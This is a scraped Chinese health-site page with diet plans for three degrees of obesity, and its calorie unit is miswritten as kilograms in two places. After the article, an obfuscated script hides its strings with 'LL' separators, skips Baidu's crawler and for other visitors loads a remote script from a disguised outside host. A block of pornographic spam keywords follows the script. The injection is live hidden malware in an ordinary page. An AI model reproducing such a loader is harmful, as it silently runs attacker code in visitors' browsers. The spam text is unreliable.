當前位置:首頁 > 減肥 > 減肥方法 > 正文

三種肥胖程度的最佳減肥方法

2015-12-13 08:50:00  來源:360常識網   熱度:
導語:很多人都在煩減肥減不下來,但是很多人都忽略了肥胖的原因,以至于不能對癥下藥,那么下面小編要給大家介紹的是根據肥胖的程度來減肥,希望對大家能有更好的幫助。

三種肥胖程度的最佳減肥方法

三種肥胖程度的最佳減肥方法

(1)輕度肥胖

每日攝入的總熱量為1600千卡。

早餐:精面50克(相當于饅頭75~78克),淡豆漿250克,咸菜或蘿卜干20克。

中餐:大米100克,瘦豬肉50克,豆腐干50克,蔬菜250克。

晚餐:大米75克,瘦豬肉50克,豆腐干50克,蔬菜250克,植物油10克。

(2)中度肥胖

每日攝入的總熱量為1400千克。

早餐:精面50克,淡豆漿250克,咸蛋50克。

中餐:大米75克,瘦豬肉50克,豆腐干50克,蔬菜200克。

晚餐:大米50克,瘦豬肉50克,豆腐干25克,蔬菜200克,植物油10克。

(3)重度肥胖

每日攝入的總熱量為1200千克。

早餐:精面50克,淡豆漿250克,咸菜或蘿卜干20克。

中餐:大米75克,瘦豬肉50克,蔬菜200克,植物油10克。

晚餐:精面50克,瘦豬肉25克,豆腐干50克,蔬菜100克,植物油10克。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
亚洲精品偷拍视频免费观看 | 思思久久99热免费精品6| 久久99国产精品二区不卡| 中文字幕av日韩精品一区二区 | 亚州日韩精品专区久久久 | 中文字幕精品在线视频| 老牛精品亚洲成av人片| 老司机亚洲精品影院无码| 精品无码三级在线观看视频| 99er热精品视频| 精品久久久久久中文字幕大豆网| 国产在视频线精品视频二代| 国产乱人伦真实精品视频| 2021国产精品午夜久久| 99精品视频在线观看免费专区 | 亚洲av永久无码精品网站| 一本精品99久久精品77 | 国产精品人人做人人爽| 精品久久久无码人妻字幂| 激情亚洲一区国产精品| 亚洲av永久无码精品漫画| 国产精品无打码在线播放| 午夜精品福利在线观看| 国产人成精品香港三级在| 亚洲精品视频在线| 国产精品无码AV一区二区三区| 日韩精品一区二区三区在线观看| 香蕉久久丫精品忘忧草产品| 真实国产乱子伦精品免费| 国产成人久久精品一区二区三区 | 亚洲国产精品无码一线岛国| 久久久久九九精品影院| www.亚洲精品| 亚洲国产精品日韩专区AV| 99久久综合精品五月天| 中文字幕av日韩精品一区二区| www.精品国产| 777精品成人影院| 国产精品揄拍一区二区久久| 4444亚洲国产成人精品| 99热在线观看精品|